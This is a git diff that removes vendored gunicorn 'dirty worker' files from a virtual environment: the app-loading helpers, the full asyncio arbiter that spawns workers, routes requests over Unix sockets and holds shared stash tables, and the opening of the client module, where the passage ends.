import_path = f"{module_path}:{class_name}" - - # Validate the worker count - try: - worker_count = int(count_str) - except ValueError: - raise DirtyAppError( - f"Invalid worker count in spec: {spec}. " - f"Expected integer, got '{count_str}'", - app_path=spec - ) - - if worker_count < 1: - raise DirtyAppError( - f"Invalid worker count in spec: {spec}. " - f"Worker count must be >= 1, got {worker_count}", - app_path=spec - ) - - return (import_path, worker_count) - - # Too many colons - raise DirtyAppError( - f"Invalid import path format: {spec}. " - f"Expected 'module.path:ClassName' or 'module.path:ClassName:N'", - app_path=spec - ) - - -def load_dirty_app(import_path): - """ - Load a dirty app class from an import path. - - Args: - import_path: String in format 'module.path:ClassName' - - Returns: - An instance of the dirty app class - - Raises: - DirtyAppNotFoundError: If the module or class cannot be found - DirtyAppError: If the class is not a valid DirtyApp subclass - """ - if ':' not in import_path: - raise DirtyAppError( - f"Invalid import path format: {import_path}. " - f"Expected 'module.path:ClassName'", - app_path=import_path - ) - - module_path, class_name = import_path.rsplit(':', 1) - - try: - # Import the module - if module_path in sys.modules: - module = sys.modules[module_path] - else: - module = importlib.import_module(module_path) - except ImportError as e: - raise DirtyAppNotFoundError(import_path) from e - - # Get the class from the module - try: - app_class = getattr(module, class_name) - except AttributeError: - raise DirtyAppNotFoundError(import_path) from None - - # Validate it's a class - if not isinstance(app_class, type): - raise DirtyAppError( - f"{import_path} is not a class", - app_path=import_path - ) - - # Create an instance - try: - app = app_class() - except Exception as e: - raise DirtyAppError( - f"Failed to instantiate {import_path}: {e}", - app_path=import_path - ) from e - - # Validate it has the required methods - required_methods = ['init', '__call__', 'close'] - for method_name in required_methods: - if not hasattr(app, method_name) or not callable(getattr(app, method_name)): - raise DirtyAppError( - f"{import_path} is missing required method: {method_name}", - app_path=import_path - ) - - return app - - -def load_dirty_apps(import_paths): - """ - Load multiple dirty apps from a list of import paths. - - Args: - import_paths: List of import path strings - - Returns: - dict: Mapping of import path to app instance - - Raises: - DirtyAppError: If any app fails to load - """ - apps = {} - for import_path in import_paths: - apps[import_path] = load_dirty_app(import_path) - return apps - - -def get_app_workers_attribute(import_path): - """ - Get the workers class attribute from a dirty app without instantiating it. - - This is used by the arbiter to determine how many workers should load - an app based on the class attribute, without needing to actually load - the app. - - Args: - import_path: String in format 'module.path:ClassName' - - Returns: - The workers class attribute value (int or None) - - Raises: - DirtyAppNotFoundError: If the module or class cannot be found - DirtyAppError: If the import path format is invalid - """ - if ':' not in import_path: - raise DirtyAppError( - f"Invalid import path format: {import_path}. " - f"Expected 'module.path:ClassName'", - app_path=import_path - ) - - module_path, class_name = import_path.rsplit(':', 1) - - try: - # Import the module - if module_path in sys.modules: - module = sys.modules[module_path] - else: - module = importlib.import_module(module_path) - except ImportError as e: - raise DirtyAppNotFoundError(import_path) from e - - # Get the class from the module - try: - app_class = getattr(module, class_name) - except AttributeError: - raise DirtyAppNotFoundError(import_path) from None - - # Validate it's a class - if not isinstance(app_class, type): - raise DirtyAppError( - f"{import_path} is not a class", - app_path=import_path - ) - - # Return the workers attribute (defaults to None if not set) - return getattr(app_class, 'workers', None) diff --git a/venv/Lib/site-packages/gunicorn/dirty/arbiter.py b/venv/Lib/site-packages/gunicorn/dirty/arbiter.py deleted file mode 100644 index 418c311798d736f4797b7ab8be98bac91e489ea2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/arbiter.py +++ /dev/null @@ -1,1156 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Arbiter Process - -Asyncio-based arbiter that manages the dirty worker pool and routes -requests from HTTP workers to available dirty workers. -""" - -import asyncio -import errno -import fnmatch -import os -import signal -import tempfile -import time - -from gunicorn import util - -from .app import get_app_workers_attribute, parse_dirty_app_spec -from .errors import ( - DirtyError, - DirtyNoWorkersAvailableError, - DirtyTimeoutError, - DirtyWorkerError, -) -from .protocol import ( - DirtyProtocol, - make_error_response, - make_response, - STASH_OP_PUT, - STASH_OP_GET, - STASH_OP_DELETE, - STASH_OP_KEYS, - STASH_OP_CLEAR, - STASH_OP_INFO, - STASH_OP_ENSURE, - STASH_OP_DELETE_TABLE, - STASH_OP_TABLES, - STASH_OP_EXISTS, - MANAGE_OP_ADD, - MANAGE_OP_REMOVE, -) -from .worker import DirtyWorker - - -class DirtyArbiter: - """ - Dirty arbiter that manages the dirty worker pool. - - The arbiter runs an asyncio event loop and handles: - - Spawning and managing dirty worker processes - - Accepting connections from HTTP workers - - Routing requests to available dirty workers - - Monitoring worker health via heartbeat - """ - - SIGNALS = [getattr(signal, "SIG%s" % x) for x in - "HUP QUIT INT TERM TTIN TTOU USR1 USR2 CHLD".split()] - - # Worker boot error code - WORKER_BOOT_ERROR = 3 - - def __init__(self, cfg, log, socket_path=None, pidfile=None): - """ - Initialize the dirty arbiter. - - Args: - cfg: Gunicorn config - log: Logger - socket_path: Path to the arbiter's Unix socket - pidfile: Well-known PID file location for orphan detection - """ - self.cfg = cfg - self.log = log - self.pid = None - self.ppid = os.getpid() - self.pidfile = pidfile # Well-known location for orphan detection - - # Use a temp directory for sockets - self.tmpdir = tempfile.mkdtemp(prefix="gunicorn-dirty-") - self.socket_path = socket_path or os.path.join( - self.tmpdir, "arbiter.sock" - ) - - self.workers = {} # pid -> DirtyWorker - self.worker_sockets = {} # pid -> socket_path - self.worker_connections = {} # pid -> (reader, writer) - self.worker_queues = {} # pid -> asyncio.Queue - self.worker_consumers = {} # pid -> asyncio.Task - self._worker_rr_index = 0 # Round-robin index for worker selection - self.worker_age = 0 - self.alive = True - self.num_workers = self.cfg.dirty_workers # Dynamic count for TTIN/TTOU - - self._server = None - self._loop = None - self._pending_requests = {} # request_id -> Future - - # Per-app worker allocation tracking - # Maps import_path -> {import_path, worker_count, original_spec} - self.app_specs = {} - # Maps import_path -> set of worker PIDs that have loaded the app - self.app_worker_map = {} - # Maps worker_pid -> list of import_paths loaded by this worker - self.worker_app_map = {} - # Per-app round-robin indices for routing - self._app_rr_indices = {} - # Queue of app lists from dead workers to respawn with same apps - self._pending_respawns = [] - - # Stash (shared state) - global tables stored in arbiter - # Maps table_name -> dict of data - self.stash_tables = {} - - # Parse app specs on init - self._parse_app_specs() - - def _parse_app_specs(self): - """ - Parse all app specifications from config. - - Populates self.app_specs with parsed information about each app, - including the import path and worker count limits. - - Worker count priority: - 1. Config override (e.g., "module:Class:2") - highest priority - 2. Class attribute (e.g., workers = 2 on the class) - 3. None (all workers) - default - """ - for spec in self.cfg.dirty_apps: - import_path, worker_count = parse_dirty_app_spec(spec) - - # If no config override, check class attribute - if worker_count is None: - try: - worker_count = get_app_workers_attribute(import_path) - except Exception as e: - # Log but don't fail - we'll discover the error when loading - self.log.warning( - "Could not read workers attribute from %s: %s", - import_path, e - ) - - self.app_specs[import_path] = { - 'import_path': import_path, - 'worker_count': worker_count, - 'original_spec': spec, - } - # Initialize the app_worker_map for this app - self.app_worker_map[import_path] = set() - - def _get_minimum_workers(self): - """ - Calculate minimum number of workers required by app specs. - - Returns the maximum worker_count across all apps that have limits. - Apps with worker_count=None don't impose a minimum. - - Returns: - int: Minimum workers required (at least 1) - """ - min_required = 1 - for spec in self.app_specs.values(): - worker_count = spec['worker_count'] - if worker_count is not None: - min_required = max(min_required, worker_count) - return min_required - - def _get_apps_for_new_worker(self): - """ - Determine which apps a new worker should load. - - Returns a list of import paths for apps that need more workers. - Apps with workers=None (all workers) are always included. - Apps with worker limits are included only if they haven't - reached their limit yet. - - Returns: - List of import paths to load, or empty list if no apps need workers - """ - app_paths = [] - - for import_path, spec in self.app_specs.items(): - worker_count = spec['worker_count'] - current_workers = len(self.app_worker_map.get(import_path, set())) - - # None means all workers should load this app - if worker_count is None: - app_paths.append(import_path) - # Otherwise check if we've reached the limit - elif current_workers < worker_count: - app_paths.append(import_path) - - return app_paths - - def _register_worker_apps(self, worker_pid, app_paths): - """ - Register which apps a worker has loaded. - - Updates both app_worker_map and worker_app_map to track the - bidirectional relationship between workers and apps. - - Args: - worker_pid: The PID of the worker - app_paths: List of app import paths loaded by this worker - """ - self.worker_app_map[worker_pid] = list(app_paths) - - for app_path in app_paths: - if app_path not in self.app_worker_map: - self.app_worker_map[app_path] = set() - self.app_worker_map[app_path].add(worker_pid) - - def _unregister_worker(self, worker_pid): - """ - Unregister a worker's apps when it exits. - - Removes the worker from all tracking maps. - - Args: - worker_pid: The PID of the worker to unregister - """ - # Get the apps this worker had - app_paths = self.worker_app_map.pop(worker_pid, []) - - # Remove worker from each app's worker set - for app_path in app_paths: - if app_path in self.app_worker_map: - self.app_worker_map[app_path].discard(worker_pid) - - def run(self): - """Run the dirty arbiter (blocking call).""" - self.pid = os.getpid() - self.log.info("Dirty arbiter starting (pid: %s)", self.pid) - - # Write PID to well-known location for orphan detection - if self.pidfile: - try: - with open(self.pidfile, 'w') as f: - f.write(str(self.pid)) - except IOError as e: - self.log.warning("Failed to write PID file: %s", e) - - # Set socket path env var for dirty workers (enables stash access) - os.environ['GUNICORN_DIRTY_SOCKET'] = self.socket_path - - # Call hook - self.cfg.on_dirty_starting(self) - - # Set up signal handlers - self.init_signals() - - # Set process title - util._setproctitle("dirty-arbiter") - - try: - asyncio.run(self._run_async()) - except KeyboardInterrupt: - pass - finally: - self._cleanup_sync() - - def init_signals(self): - """Set up signal handlers.""" - for sig in self.SIGNALS: - signal.signal(sig, signal.SIG_DFL) - - signal.signal(signal.SIGTERM, self._signal_handler) - signal.signal(signal.SIGQUIT, self._signal_handler) - signal.signal(signal.SIGINT, self._signal_handler) - signal.signal(signal.SIGHUP, self._signal_handler) - signal.signal(signal.SIGUSR1, self._signal_handler) - signal.signal(signal.SIGCHLD, self._signal_handler) - signal.signal(signal.SIGTTIN, self._signal_handler) - signal.signal(signal.SIGTTOU, self._signal_handler) - - def _signal_handler(self, sig, frame): - """Handle signals.""" - if sig == signal.SIGCHLD: - # Child exited - will be handled in reap_workers - if self._loop: - self._loop.call_soon_threadsafe( - lambda: asyncio.create_task(self._handle_sigchld()) - ) - return - - if sig == signal.SIGUSR1: - # Reopen log files - self.log.reopen_files() - return - - if sig == signal.SIGHUP: - # Reload workers - if self._loop: - self._loop.call_soon_threadsafe( - lambda: asyncio.create_task(self.reload()) - ) - return - - if sig == signal.SIGTTIN: - # Increase number of workers - self.num_workers += 1 - self.log.info("SIGTTIN: Increasing dirty workers to %s", - self.num_workers) - if self._loop: - self._loop.call_soon_threadsafe( - lambda: asyncio.create_task(self.manage_workers()) - ) - return - - if sig == signal.SIGTTOU: - # Decrease number of workers (respecting minimum) - min_workers = self._get_minimum_workers() - if self.num_workers <= min_workers: - self.log.warning( - "SIGTTOU: Cannot decrease below %s workers " - "(required by app specs)", - min_workers - ) - return - self.num_workers -= 1 - self.log.info("SIGTTOU: Decreasing dirty workers to %s", - self.num_workers) - if self._loop: - self._loop.call_soon_threadsafe( - lambda: asyncio.create_task(self.manage_workers()) - ) - return - - # Shutdown signals - self.alive = False - if self._loop: - self._loop.call_soon_threadsafe(self._shutdown) - - def _shutdown(self): - """Initiate async shutdown.""" - if self._server: - self._server.close() - - async def _run_async(self): - """Main async loop - start server, manage workers.""" - self._loop = asyncio.get_running_loop() - - # Remove socket if it exists - if os.path.exists(self.socket_path): - os.unlink(self.socket_path) - - # Start Unix socket server for HTTP workers - self._server = await asyncio.start_unix_server( - self.handle_client, - path=self.socket_path - ) - - # Make socket accessible - os.chmod(self.socket_path, 0o600) - - self.log.info("Dirty arbiter listening on %s", self.socket_path) - - # Spawn initial workers - await self.manage_workers() - - # Start periodic tasks - monitor_task = asyncio.create_task(self._worker_monitor()) - - try: - async with self._server: - await self._server.serve_forever() - except (asyncio.CancelledError, RuntimeError): - # RuntimeError raised when server.close() is called during serve_forever() - pass - finally: - monitor_task.cancel() - try: - await monitor_task - except asyncio.CancelledError: - pass - - await self.stop() - - async def _worker_monitor(self): - """Periodically check worker health and manage pool.""" - while self.alive: - await asyncio.sleep(1.0) - - # Check if parent (main arbiter) died unexpectedly - if os.getppid() != self.ppid: - self.log.warning("Parent changed, shutting down dirty arbiter") - self.alive = False - self._shutdown() - return - - await self.murder_workers() - await self.manage_workers() - - async def _handle_sigchld(self): - """Handle SIGCHLD - reap dead workers.""" - self.reap_workers() - # Only spawn new workers if we're still alive - if self.alive: - await self.manage_workers() - - async def handle_client(self, reader, writer): - """ - Handle a connection from an HTTP worker. - - Routes requests to available dirty workers and returns responses. - Supports both regular responses and streaming (chunk-based) responses. - Also handles stash (shared state) operations. - """ - self.log.debug("New client connection from HTTP worker") - - try: - while self.alive: - try: - message = await DirtyProtocol.read_message_async(reader) - except asyncio.IncompleteReadError: - break - - msg_type = message.get("type") - - # Handle stash operations - if msg_type == DirtyProtocol.MSG_TYPE_STASH: - await self.handle_stash_request(message, writer) - # Handle status queries - elif msg_type == DirtyProtocol.MSG_TYPE_STATUS: - await self.handle_status_request(message, writer) - # Handle worker management (add/remove workers) - elif msg_type == DirtyProtocol.MSG_TYPE_MANAGE: - await self.handle_manage_request(message, writer) - else: - # Route request to a dirty worker - pass writer for streaming - await self.route_request(message, writer) - except Exception as e: - self.log.error("Client connection error: %s", e) - finally: - writer.close() - try: - await writer.wait_closed() - except Exception: - pass - - async def route_request(self, request, client_writer): - """ - Route a request to an available dirty worker via queue. - - Each worker has a dedicated queue and consumer task. Requests are - submitted to the queue and processed sequentially by the consumer. - - For streaming responses, messages (chunks) are forwarded directly - to the client_writer as they arrive from the worker. - - Args: - request: Request message dict - client_writer: StreamWriter to send responses to client - """ - request_id = request.get("id", "unknown") - app_path = request.get("app_path") - - # Find an available worker (filtered by app if specified) - worker_pid = await self._get_available_worker(app_path) - if worker_pid is None: - # Distinguish between no workers at all vs. no workers for this app - if not self.workers: - error = DirtyError("No dirty workers available") - elif app_path and self.app_specs: - # Per-app allocation is configured and no workers have this app - error = DirtyNoWorkersAvailableError(app_path) - else: - error = DirtyError("No dirty workers available") - response = make_error_response(request_id, error) - await DirtyProtocol.write_message_async(client_writer, response) - return - - # Get queue (start consumer if needed) - if worker_pid not in self.worker_queues: - await self._start_worker_consumer(worker_pid) - - queue = self.worker_queues[worker_pid] - future = asyncio.get_running_loop().create_future() - - # Submit request to queue with client writer for streaming support - await queue.put((request, client_writer, future)) - - # Wait for completion (streaming messages forwarded by consumer) - try: - await future - except Exception as e: - response = make_error_response( - request_id, - DirtyWorkerError(f"Request failed: {e}", worker_id=worker_pid) - ) - await DirtyProtocol.write_message_async(client_writer, response) - - async def _start_worker_consumer(self, worker_pid): - """Start a consumer task for a worker's request queue.""" - queue = asyncio.Queue() - self.worker_queues[worker_pid] = queue - - async def consumer(): - while self.alive: - try: - request, client_writer, future = await queue.get() - try: - await self._execute_on_worker( - worker_pid, request, client_writer - ) - if not future.done(): - future.set_result(None) - except Exception as e: - if not future.done(): - future.set_exception(e) - finally: - queue.task_done() - except asyncio.CancelledError: - break - - task = asyncio.create_task(consumer()) - self.worker_consumers[worker_pid] = task - - async def _execute_on_worker(self, worker_pid, request, client_writer): - """ - Execute request on a specific worker (called by consumer). - - Handles both regular responses and streaming (chunk-based) responses. - For streaming, chunk and end messages are forwarded directly to the - client_writer as they arrive from the worker. - """ - request_id = request.get("id", "unknown") - - try: - reader, writer = await self._get_worker_connection(worker_pid) - await DirtyProtocol.write_message_async(writer, request) - - # Read messages until we get a response, end, or error - while True: - try: - message = await asyncio.wait_for( - DirtyProtocol.read_message_async(reader), - timeout=self.cfg.dirty_timeout - ) - except asyncio.TimeoutError: - # The worker may still write its response later. Drop the - # connection so that response is not read as the answer to - # the next request routed to this worker. - self._close_worker_connection(worker_pid) - response = make_error_response( - request_id, - DirtyTimeoutError("Worker timeout", self.cfg.dirty_timeout) - ) - await DirtyProtocol.write_message_async(client_writer, response) - return - - msg_type = message.get("type") - - # Forward chunk messages to client - if msg_type == DirtyProtocol.MSG_TYPE_CHUNK: - await DirtyProtocol.write_message_async(client_writer, message) - continue - - # Forward end message and complete - if msg_type == DirtyProtocol.MSG_TYPE_END: - await DirtyProtocol.write_message_async(client_writer, message) - return - - # Forward response or error and complete - if msg_type in (DirtyProtocol.MSG_TYPE_RESPONSE, - DirtyProtocol.MSG_TYPE_ERROR): - await DirtyProtocol.write_message_async(client_writer, message) - return - - # Unknown message type - log and continue - self.log.warning("Unknown message type from worker: %s", msg_type) - - except Exception as e: - self.log.error("Error executing on worker %s: %s", worker_pid, e) - self._close_worker_connection(worker_pid) - response = make_error_response( - request_id, - DirtyWorkerError(f"Worker communication failed: {e}", - worker_id=worker_pid) - ) - await DirtyProtocol.write_message_async(client_writer, response) - - async def _get_available_worker(self, app_path=None): - """ - Get an available worker PID using round-robin selection. - - If app_path is provided, only returns workers that have loaded - that specific app. Uses per-app round-robin to ensure fair - distribution among eligible workers. - - Args: - app_path: Optional import path of the target app. If None, - returns any worker using global round-robin. - - Returns: - Worker PID or None if no eligible workers are available. - """ - # Determine eligible workers - if app_path and self.app_specs: - # Per-app allocation is configured - must return a worker - # that has this specific app - if app_path in self.app_worker_map: - eligible_pids = list(self.app_worker_map[app_path]) - else: - # App not known or no workers have it - return None - else: - # No specific app requested, or no app specs configured - # (backward compatible) - any worker will do - eligible_pids = list(self.workers.keys()) - - if not eligible_pids: - return None - - # Per-app round-robin for fairness - if app_path and self.app_specs: - idx = self._app_rr_indices.get(app_path, 0) - self._app_rr_indices[app_path] = (idx + 1) % len(eligible_pids) - else: - idx = self._worker_rr_index - self._worker_rr_index = (idx + 1) % len(eligible_pids) - - return eligible_pids[idx % len(eligible_pids)] - - async def _get_worker_connection(self, worker_pid): - """Get or create connection to a worker.""" - if worker_pid in self.worker_connections: - return self.worker_connections[worker_pid] - - socket_path = self.worker_sockets.get(worker_pid) - if not socket_path: - raise DirtyError(f"No socket for worker {worker_pid}") - - # Wait for socket to be available - for _ in range(50): # 5 seconds max - if os.path.exists(socket_path): - break - await asyncio.sleep(0.1) - else: - raise DirtyError(f"Worker socket not ready: {socket_path}") - - reader, writer = await asyncio.open_unix_connection(socket_path) - self.worker_connections[worker_pid] = (reader, writer) - return reader, writer - - def _close_worker_connection(self, worker_pid): - """Close connection to a worker.""" - if worker_pid in self.worker_connections: - _reader, writer = self.worker_connections.pop(worker_pid) - writer.close() - - # ------------------------------------------------------------------------- - # Stash (shared state) operations - handled directly in arbiter - # ------------------------------------------------------------------------- - - async def handle_status_request(self, message, client_writer): - """ - Handle a status query request. - - Returns information about the dirty arbiter and its workers. - - Args: - message: Status request message - client_writer: StreamWriter to send response to client - """ - request_id = message.get("id", "unknown") - now = time.monotonic() - - workers_info = [] - for pid, worker in self.workers.items(): - try: - last_update = worker.tmp.last_update() - last_heartbeat = round(now - last_update, 2) - except (OSError, ValueError, AttributeError): - last_heartbeat = None - - workers_info.append({ - "pid": pid, - "age": worker.age, - "apps": getattr(worker, 'app_paths', []), - "booted": getattr(worker, 'booted', False), - "last_heartbeat": last_heartbeat, - }) - - workers_info.sort(key=lambda w: w["age"]) - - result = { - "arbiter_pid": self.pid, - "workers": workers_info, - "worker_count": len(workers_info), - "apps": list(self.app_specs.keys()) if self.app_specs else [], - } - - response = make_response(request_id, result) - await DirtyProtocol.write_message_async(client_writer, response) - - async def handle_manage_request(self, message, client_writer): - """ - Handle a worker management request. - - Supports adding or removing dirty workers via protocol messages. - - Args: - message: Manage request message - client_writer: StreamWriter to send response to client - """ - request_id = message.get("id", "unknown") - op = message.get("op") - count = max(1, int(message.get("count", 1))) - - try: - if op == MANAGE_OP_ADD: - # Add workers - only loads apps that need more workers - spawned = 0 - for _ in range(count): - result = self.spawn_worker() - if result is not None: - self.num_workers += 1 - spawned += 1 - await asyncio.sleep(0.1) - - # Provide feedback about why no workers were spawned - if spawned == 0: - result = { - "success": True, - "operation": "add", - "requested": count, - "spawned": 0, - "reason": "All apps have reached their worker limits", - "total_workers": len(self.workers), - "target_workers": self.num_workers, - } - else: - result = { - "success": True, - "operation": "add", - "requested": count, - "spawned": spawned, - "total_workers": len(self.workers), - "target_workers": self.num_workers, - } - - elif op == MANAGE_OP_REMOVE: - # Remove workers (similar to TTOU signal but via message) - min_workers = self._get_minimum_workers() - removed = 0 - - for _ in range(count): - if self.num_workers <= min_workers: - break - if len(self.workers) <= 1: - break - - self.num_workers -= 1 - - # Kill oldest worker - oldest_pid = min(self.workers.keys(), - key=lambda p: self.workers[p].age) - self.kill_worker(oldest_pid, signal.SIGTERM) - removed += 1 - await asyncio.sleep(0.1) - - result = { - "success": True, - "operation": "remove", - "requested": count, - "removed": removed, - "total_workers": len(self.workers), - "target_workers": self.num_workers, - } - - else: - error = DirtyError(f"Unknown manage operation: {op}") - response = make_error_response(request_id, error) - await DirtyProtocol.write_message_async(client_writer, response) - return - - self.log.info("Worker management: %s %d workers (spawned/removed: %d)", - "add" if op == MANAGE_OP_ADD else "remove", - count, - result.get("spawned", result.get("removed", 0))) - - response = make_response(request_id, result) - await DirtyProtocol.write_message_async(client_writer, response) - - except Exception as e: - self.log.error("Manage operation error: %s", e) - response = make_error_response(request_id, DirtyError(str(e))) - await DirtyProtocol.write_message_async(client_writer, response) - - async def handle_stash_request(self, message, client_writer): - """ - Handle a stash operation directly in the arbiter. - - All stash tables are stored in arbiter memory for simplicity - and fast access. - - Args: - message: Stash operation message - client_writer: StreamWriter to send response to client - """ - request_id = message.get("id", "unknown") - op = message.get("op") - table = message.get("table", "") - key = message.get("key") - value = message.get("value") - pattern = message.get("pattern") - - try: - result = None - - if op == STASH_OP_PUT: - # Auto-create table if needed - if table not in self.stash_tables: - self.stash_tables[table] = {} - self.stash_tables[table][key] = value - result = True - - elif op == STASH_OP_GET: - if table not in self.stash_tables: - result = {"error": "key_not_found"} - elif key not in self.stash_tables[table]: - result = {"error": "key_not_found"} - else: - result = self.stash_tables[table][key] - - elif op == STASH_OP_DELETE: - if table in self.stash_tables and key in self.stash_tables[table]: - del self.stash_tables[table][key] - result = True - else: - result = False - - elif op == STASH_OP_KEYS: - if table not in self.stash_tables: - result = [] - else: - all_keys = list(self.stash_tables[table].keys()) - if pattern: - all_keys = [k for k in all_keys - if fnmatch.fnmatch(str(k), pattern)] - result = all_keys - - elif op == STASH_OP_CLEAR: - if table in self.stash_tables: - self.stash_tables[table].clear() - result = True - - elif op == STASH_OP_INFO: - if table not in self.stash_tables: - result = {"error": "table_not_found"} - else: - result = { - "size": len(self.stash_tables[table]), - "table": table, - } - - elif op == STASH_OP_ENSURE: - if table not in self.stash_tables: - self.stash_tables[table] = {} - result = True - - elif op == STASH_OP_DELETE_TABLE: - if table in self.stash_tables: - del self.stash_tables[table] - result = True - else: - result = False - - elif op == STASH_OP_TABLES: - result = list(self.stash_tables.keys()) - - elif op == STASH_OP_EXISTS: - if table not in self.stash_tables: - result = False - elif key is None: - result = True - else: - result = key in self.stash_tables[table] - - else: - error = DirtyError(f"Unknown stash operation: {op}") - response = make_error_response(request_id, error) - await DirtyProtocol.write_message_async(client_writer, response) - return - - # Handle error results - if isinstance(result, dict) and "error" in result: - error_type = result["error"] - if error_type == "table_not_found": - error = DirtyError(f"Table not found: {table}") - elif error_type == "key_not_found": - error = DirtyError(f"Key not found: {key}") - else: - error = DirtyError(str(result)) - error.error_type = f"Stash{error_type.title().replace('_', '')}Error" - response = make_error_response(request_id, error) - else: - response = make_response(request_id, result) - - await DirtyProtocol.write_message_async(client_writer, response) - - except Exception as e: - self.log.error("Stash operation error: %s", e) - response = make_error_response(request_id, DirtyError(str(e))) - await DirtyProtocol.write_message_async(client_writer, response) - - async def manage_workers(self): - """Maintain the number of dirty workers.""" - if not self.alive: - return - - num_workers = self.num_workers - - # Spawn workers if needed - while self.alive and len(self.workers) < num_workers: - result = self.spawn_worker() - if result is None: - # No apps need more workers - stop spawning - break - await asyncio.sleep(0.1) - - # Kill excess workers - while len(self.workers) > num_workers: - # Kill oldest worker - oldest_pid = min(self.workers.keys(), - key=lambda p: self.workers[p].age) - self.kill_worker(oldest_pid, signal.SIGTERM) - await asyncio.sleep(0.1) - - def spawn_worker(self, force_all_apps=False): - """ - Spawn a new dirty worker. - - Worker app assignment follows these priorities: - 1. If there are pending respawns (from dead workers), use those apps - 2. Otherwise, determine apps for a new worker based on allocation - 3. If force_all_apps=True, spawn with all apps regardless of limits - - Args: - force_all_apps: If True, spawn worker with all apps ignoring limits - - Returns: - Worker PID in parent process, or None if no apps need workers - """ - # Priority 1: Respawn dead worker with same apps - if self._pending_respawns: - app_paths = self._pending_respawns.pop(0) - elif force_all_apps: - # Force spawn with all apps (used by TTIN signal) - app_paths = list(self.app_specs.keys()) - else: - # Priority 2: New worker for initial pool - app_paths = self._get_apps_for_new_worker() - - if not app_paths: - self.log.debug("No apps need more workers, skipping spawn") - return None - - self.worker_age += 1 - socket_path = os.path.join( - self.tmpdir, f"worker-{self.worker_age}.sock" - ) - - worker = DirtyWorker( - age=self.worker_age, - ppid=self.pid, - app_paths=app_paths, # Only assigned apps, not all apps - cfg=self.cfg, - log=self.log, - socket_path=socket_path - ) - - pid = os.fork() - if pid != 0: - # Parent process - worker.pid = pid - self.workers[pid] = worker - self.worker_sockets[pid] = socket_path - - # Register which apps this worker has - self._register_worker_apps(pid, app_paths) - - self.cfg.dirty_post_fork(self, worker) - self.log.info("Spawned dirty worker (pid: %s) with apps: %s", - pid, app_paths) - return pid - - # Child process - use os._exit() to avoid asyncio cleanup issues - worker.pid = os.getpid() - try: - util._setproctitle(f"dirty-worker [{self.cfg.proc_name}]") - worker.init_process() - os._exit(0) - except SystemExit as e: - os._exit(e.code if e.code is not None else 0) - except Exception: - self.log.exception("Exception in dirty worker process") - if not worker.booted: - os._exit(self.WORKER_BOOT_ERROR) - os._exit(1) - - def kill_worker(self, pid, sig): - """Kill a worker by PID.""" - try: - os.kill(pid, sig) - except OSError as e: - if e.errno == errno.ESRCH: - self._cleanup_worker(pid) - - def _cleanup_worker(self, pid): - """ - Clean up after a worker exits. - - Saves the dead worker's app list to pending respawns so the - replacement worker gets the same apps. - """ - self._close_worker_connection(pid) - - # Cancel consumer task - if pid in self.worker_consumers: - self.worker_consumers[pid].cancel() - del self.worker_consumers[pid] - - # Remove queue - self.worker_queues.pop(pid, None) - - # Save dead worker's apps for respawn BEFORE unregistering - if pid in self.worker_app_map: - dead_apps = list(self.worker_app_map[pid]) - if dead_apps: - self._pending_respawns.append(dead_apps) - - # Now safe to unregister the worker's apps - self._unregister_worker(pid) - - worker = self.workers.pop(pid, None) - if worker: - self.cfg.dirty_worker_exit(self, worker) - socket_path = self.worker_sockets.pop(pid, None) - if socket_path and os.path.exists(socket_path): - try: - os.unlink(socket_path) - except OSError: - pass - - async def murder_workers(self): - """Kill workers that have timed out.""" - if not self.cfg.dirty_timeout: - return - - for pid, worker in list(self.workers.items()): - try: - if time.monotonic() - worker.tmp.last_update() <= self.cfg.dirty_timeout: - continue - except (OSError, ValueError): - continue - - if not worker.aborted: - self.log.critical("DIRTY WORKER TIMEOUT (pid:%s)", pid) - worker.aborted = True - self.kill_worker(pid, signal.SIGABRT) - else: - self.kill_worker(pid, signal.SIGKILL) - - def reap_workers(self): - """Reap dead worker processes.""" - try: - while True: - wpid, status = os.waitpid(-1, os.WNOHANG) - if not wpid: - break - - exitcode = None - if os.WIFEXITED(status): - exitcode = os.WEXITSTATUS(status) - elif os.WIFSIGNALED(status): - sig = os.WTERMSIG(status) - self.log.warning("Dirty worker (pid:%s) killed by signal %s", - wpid, sig) - - if exitcode == self.WORKER_BOOT_ERROR: - self.log.error("Dirty worker failed to boot (pid:%s)", wpid) - - self._cleanup_worker(wpid) - self.log.info("Dirty worker exited (pid:%s)", wpid) - except OSError as e: - if e.errno != errno.ECHILD: - raise - - async def reload(self): - """Reload workers (SIGHUP handling).""" - self.log.info("Reloading dirty workers") - - # Spawn new workers - for _ in range(self.cfg.dirty_workers): - self.spawn_worker() - await asyncio.sleep(0.1) - - # Kill old workers - old_workers = list(self.workers.keys()) - for pid in old_workers[self.cfg.dirty_workers:]: - self.kill_worker(pid, signal.SIGTERM) - - async def stop(self, graceful=True): - """Stop all workers.""" - # Cancel all consumer tasks - for task in self.worker_consumers.values(): - task.cancel() - - sig = signal.SIGTERM if graceful else signal.SIGQUIT - limit = time.time() + self.cfg.dirty_graceful_timeout - - # Signal all workers - for pid in list(self.workers.keys()): - self.kill_worker(pid, sig) - - # Wait for workers to exit - while self.workers and time.time() < limit: - self.reap_workers() - await asyncio.sleep(0.1) - - # Force kill remaining workers - for pid in list(self.workers.keys()): - self.kill_worker(pid, signal.SIGKILL) - self.reap_workers() - - def _cleanup_sync(self): - """Synchronous cleanup on exit.""" - # Remove PID file - if self.pidfile and os.path.exists(self.pidfile): - try: - os.unlink(self.pidfile) - except OSError: - pass - - # Clean up socket - if os.path.exists(self.socket_path): - try: - os.unlink(self.socket_path) - except OSError: - pass - - # Clean up temp directory - try: - for f in os.listdir(self.tmpdir): - os.unlink(os.path.join(self.tmpdir, f)) - os.rmdir(self.tmpdir) - except OSError: - pass - - self.log.info("Dirty arbiter exiting (pid: %s)", self.pid) diff --git a/venv/Lib/site-packages/gunicorn/dirty/client.py b/venv/Lib/site-packages/gunicorn/dirty/client.py deleted file mode 100644 index c5cc31cdd9fc4cbf20f23e52317406c483252cbe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/client.py +++ /dev/null @@ -1,754 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Client - -Client for HTTP workers to communicate with the dirty worker pool. -Provides both sync and async APIs. -""" - -import asyncio -import contextvars -import os -import socket -import threading -import time -import uuid - -from .errors import ( - DirtyConnectionError, - DirtyError, - DirtyTimeoutError, -) -from .protocol import ( - DirtyProtocol, - make_request, -) - - -class 